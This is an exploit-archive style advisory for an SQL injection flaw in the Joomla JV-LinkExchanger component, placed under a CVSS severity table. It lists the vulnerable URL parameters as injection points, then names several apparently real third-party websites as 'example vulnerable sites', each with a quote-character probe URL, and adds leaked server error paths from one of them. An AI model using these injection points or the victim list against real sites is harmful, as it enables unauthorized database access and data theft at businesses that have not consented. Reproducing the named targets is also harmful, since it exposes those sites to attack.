CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

JV-LinkExchanger or JV-LE in short has all the elements required for a basic and successful link and banner exchange for Joomla websites. JV-LE provides the necessary screens, forms, logic, processing power, features, design and the flexibility to enable your Joomla website to exchange links with other Joomla and non-Joomla websites. #################################################################### # Impact : *********** Joomla JVLE JV-LinkExchanger 3.2 and other versions - component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_jvle&Itemid=[SQL Injection] /index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[SQL Injection] /index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[ID-NUMBER]&sby=[SQL Injection] /index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[ID-NUMBER]&sby=&jsn_setmobile=yes&jsn_setmobile=[SQL Injection] /index.php?option=com_jvle&Itemid=[ID-NUMBER]&task=all_category_links&cid=[ID-NUMBER]&sby=[SQL Injection] #################################################################### # Example Vulnerable Sites : ************************* [+] junmuaythai.com/index.php?option=com_jvle&Itemid=95&view= all_category_links&cid=3&sby=&jsn_setmobile=yes&jsn_setmobile=1%27 [+] pinecountryrestaurant.com/index.php?option=com_jvle&Itemid=222%27 [+] autocarscarrera.es/index.php?option=com_jvle&Itemid=102 &view=all_category_links&cid=2&sby=1%27 [+] astoria-tirol.at/index.php?option=com_jvle&Itemid=232%27 [+] rentamax.mx/index.php?option=com_jvle&Itemid=1%27 [+] pinecountryrestaurant.com/index.php?option=com_jvle&Itemid=222%27 [+] senkovs-handwerker.de/index.php?option=com_jvle &Itemid=125&task=all_category_links&cid=3&sby=13%27 #################################################################### # Example SQL Database Error : ***************************** Strict Standards: Only variables should be assigned by reference in /home /webtodolocal/webapps/rentamax/administrator/components/com_jvle /common/jvle.resources.php on line 70 Strict Standards: Declaration of JvleController::display() should be compatible with JController::display($cachable = false, $urlparams = false) in /home/webtodolocal/webapps/rentamax/components/com_jvle/controller.php on line 31 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/webtodolocal/webapps /rentamax/libraries/joomla/filter/input.php on line 652 #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################
